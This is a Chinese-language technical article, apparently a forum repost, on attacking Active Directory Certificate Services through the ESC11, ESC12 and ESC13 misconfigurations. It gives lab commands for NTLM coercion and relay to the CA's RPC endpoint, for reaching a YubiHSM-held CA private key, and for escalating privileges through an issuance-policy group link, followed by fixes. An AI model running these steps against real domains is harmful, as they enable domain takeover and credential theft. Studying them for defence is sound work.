-
-
NetStar出品 | 一本关于“ADCS”最通俗的技术读物Part IV:ESC11-13
-
发表于: 2024-7-15 12:02 1762
-
Previously on “ADCS知识点全收录, 如何利用证书服务器对域控进行多角度攻击。”
2023年,我们通过“集权系列”技术分享,洞察集权安全本质,分享欢乐,共同成长。
玩技术,因热爱而执着,希望与你一起邂逅科技浪漫。
Active Directory证书服务(ADCS)提供了一个集中式系统,用于在Active Directory环境中管理 PKI(公钥基础结构),这些证书可用于各种功能,例如签署网站证书、电子邮件,甚至域身份验证。
在之前文章中,我们讲解了关于ESC1-10的错误配置问题所导致的漏洞,这篇文章主要分享ESC11-13。
ESC11
通过RPC中继到AD证书服务
要了解ESC11漏洞的含义,我们先回顾一下ESC8的问题。
ESC8——
攻击者可以触发域控制器强制认证,触发域控到攻击主机的NTLM认证。然后可以将域控制器的 NTLM凭据中继到Active Directory证书服务 (AD CS)Web 注册页面,并且可以注册DC证书。此证书可用于请求TGT并通过Pass-The-Ticket破坏整个域。
其中证书可以通过以下的几种方式注册:
• 通过Windows客户端证书注册协议(MS-WCCE)
• 通过ICertPassage远程协议(MS-ICPR)
• 在ADCS开启了对应Web服务的情况下,使用Web服务注册
• 在服务器安装了对应服务时,通过证书注册服务(CES)注册
• 在服务器安装了对应服务时,使用网络设备注册服务
而ESC8就是利用Web证书注册页面支持NTLM认证,并且没有启用任何NTLM Relay保护措施所利用的,ESC11是一个类似的漏洞,其利用MS-ICPR协议 CertServerRequest函数中的 IF_ENFORCEENCRYPTICERTREQUEST 属性的配置问题从而进行利用。
在证书颁发机构上如果禁用该 IF_ENFORCEENCRYPTICERTREQUEST,其允许向证书服务器上的RPC端点发出未加密的ICERT请求,这只是正常请求证书的另一种方法,但与ESC8不同的是他并不是HTTP,需要注意的是,此标志在Windows Server 2012及更高版本上默认设置。但是,由于它破坏了Windows XP客户端的证书注册,所以我们可能会看到这样的环境,并且可以通过Certipy轻松的检测。
在机器上禁用该设置:
certutil -setreg CA\InterfaceFlags -IF_ENFORCEENCRYPTICERTREQUEST
Restart-Service certsvc
使用 Certipy 检测
certipy find -vulnerable -u liurui@caicai.com -p 'Aa@123..' -dc-ip 192.168.50.135
这意味着IF_ENFORCEENCRYPTICERTREQUEST设置为disabled ,因此可以进行中继。
通过强制服务器进行中继
我们可以通过强制域中的计算机与我们的中继服务器通信,这将迫使它们尝试使用其NTLM凭据进行身份验证,为此,我们可以使用Coercer,它循环使用各种强制方法,以强制远程计算机向服务器执行身份验证请求。
python3 Coercer.py coerce -t 192.168.3.34 -u A001 -p 'Abc123..' -d mumu.com -l 192.168.50.66
接下来我们将使用Sploutchy的Impacket分支来设置我们的NTLM中继服务器。
ntlmrelayx.py -t rpc://192.168.3.36 -rpc-mode ICPR -icpr-ca-name WIN-3F43J9RM0S3 -smb2suppor
此命令以易受攻击的CA为目标,并尝试将流量中继到 192.168.3.36的RPC端点,我们可以在另一个终端中运行强制程序,以强制目标向中继服务器进行身份验证。
当受害者连接(不限于SMB)到攻击者机器时,被中继到证书颁发机构,并通过ICPR请求证书,最后攻击者现在拥有有效证书,进而可以在域中冒充受害者。
后面将base64编码的证书保存到文件中,然后将其解码为PFX,然后使用它从域控制器请求帐户的NTLM哈希。
cat wkstn01.b64.pfx | base64 -d > wkstn01.pfx
certipy auth -pfx wkstn01.pfx -dc-ip 192.168.3.36
从而得到目标计算机帐户的NTLM哈希。
ECS12
使用YubiHSM对ADCS CA的Shell访问
管理员可以设置证书颁发机构将其存储在“Yubico YubiHSM2”等外部设备上。
如果USB设备通过USB端口连接到CA服务器,或者如果 CA服务器是虚拟机,则需要USB设备服务器,密钥存储提供商需要身份验证密钥才能在YubiHSM中生成和使用密钥。
此密钥/密码以明文形式存储在注册表。
HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword
如果YubiHSM通过USB设备服务器连接到CA服务器,并且攻击者对此USB设备服务器具有足够的管理访问权限,他可能会滥用该权限将YubiHSM连接到其控制下的计算机,通过本地或网络访问CA服务器,他可以读取明文AuthKeysetPassword并在自己服务器的注册表中配置此密钥/密码以访问CA密钥。
另一种滥用本地或网络CA服务器访问的方法不需要滥用 USB设备服务器,并且应该更难检测到,即以非特权用户身份直接在CA服务器上访问CA密钥。
假设攻击者以非特权用户身份登录到CA服务器。然后,他可以获得CA证书作为证书文件(简单,至少在整个 AD中是公开的),并将其作为自己的证书导入到CA服务器上的用户配置文件证书存储中。
certutil -addstore -user my
接下来,将证书与其在YubiHSM2中的私钥相关联。
certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my
之后就可以将CA证书及其私钥作为自己的访问权限进行操作。
ESC13
滥用ADCS进行权限提升
ESC13是关于滥用可分配给证书模板的颁发策略的配置问题。颁发策略是一种证书扩展,仅当用户可以出示具有给定颁发策略的证书时,才可用于授予对系统的访问权限。如果在证书模板的扩展选项卡中定义了颁发策略,它将存储在AD对象中,作为属性中的 ObjectIdentifier(OID)。颁发策略存储在CN=OID、CN=Public Key Services、CN=Services、CN=Configuration、DC=labs、DC=org 中,并具有一个可以将组链接到策略的属性,只有当组为空且组范围为通用时,才能链接该组,通过ESC13攻击者可以提升权限,具体取决于配置,在以下示例中,该组称为 ESC13Group并有权访问域控制器Odin.labs.org上的共享secret_tools,msPKI-Certificate-Policy msDS-OIDToGroupLink。
• 用户对证书模板具有注册权限
• 证书模板没有颁发要求,例如经理批准,这是无法满足的
• 该证书包含可用于身份验证的EKU EKU公司
• 证书模板具有颁发策略扩展
• 发布策略具有指向某个群组的群组链接
满足上面条件时就会存在ESC13配置问题。
环境搭建
首先我们新建一个普通用户,确保它没有加入任何其他组。
然后创建一个通用组,组内没有任何用户。
为了验证权限,我们为这个组设置对域内DCSync的权限。
接着,在ADCS终端中输入certsrv.msc,打开证书颁发机构,在证书模板这里右键管理打开证书模板控制台,我们可以直接复制现有的模板来创建新的漏洞模板。我们右键工作组身份验证选择复制模板,修改模板名称,在拓展这里双击颁发策略,点击添加,可以选择现有的颁发策略,也可以直接新建颁发策略,新建时填写名称即可。
我们需要给予用户对证书的申请权限。
同时我们需要在使用者名称这里,将DNS名修改为用户主体名称(UPN),因为新建的用户是没有 dNSHostName属性的,不更改的话会导致证书申请失败。
在终端中输入adsiedit.msc打开ADSI编辑器,然后连接 AD的Configuration,找到创建的颁发策略,修改其 msDS-OIDToGroupLink属性为创建的通用组。
利用
我们找到支持ESC13的分支,下载进入主目录,利用 find进行简单的信息收集。
python3 entry.py find -u 'ECS13User@mumu.com' -p 'Abc123..' -dc-ip 192.168.3.34
看到ESC13这个漏洞的标识则代表可以进行利用。
python3 entry.py req -u 'ECS13User@mumu.com' -p 'Abc123..' -template 'ESC13' -target mumu.com -ca WIN-3F43J9RM0S3
我们通过MSF的内置模块进行攻击,同样其也内置了探测模块,如果出现以下情况则说明易收到ESC13的攻击。
在这种情况下,可以与icpr_cert模块一起发行票证。除了标准CA 、CERT_TEMPLATE目标和身份验证选项之外,不需要其他选项来颁发证书。
然后,我们可以使用该kerberos/get_ticket模块获取 Kerberos票证授予票证(TGT),其中ESC13-Group RID存在于TGT PAC的Groups字段中。
修复
• ESC11
对MS-ICPR请求进行加密即可从根本上解决问题该问题。
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
Restart-Service certsvc
• ESC13
对于链接到高特权组的证书模板,可以启用CA证书管理程序批准,在 CA 颁发证书之前必须经过 CA 管理员的批准。
总 结
本文作为ADCS系列的补充篇,主要分享了ADCS的三个漏洞:ESC11、ESC12和ESC13可能存在的配置问题的攻击手法以及对应的修补方案,对于ADCS的攻击风险,该系列文章也会持续进行跟进。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课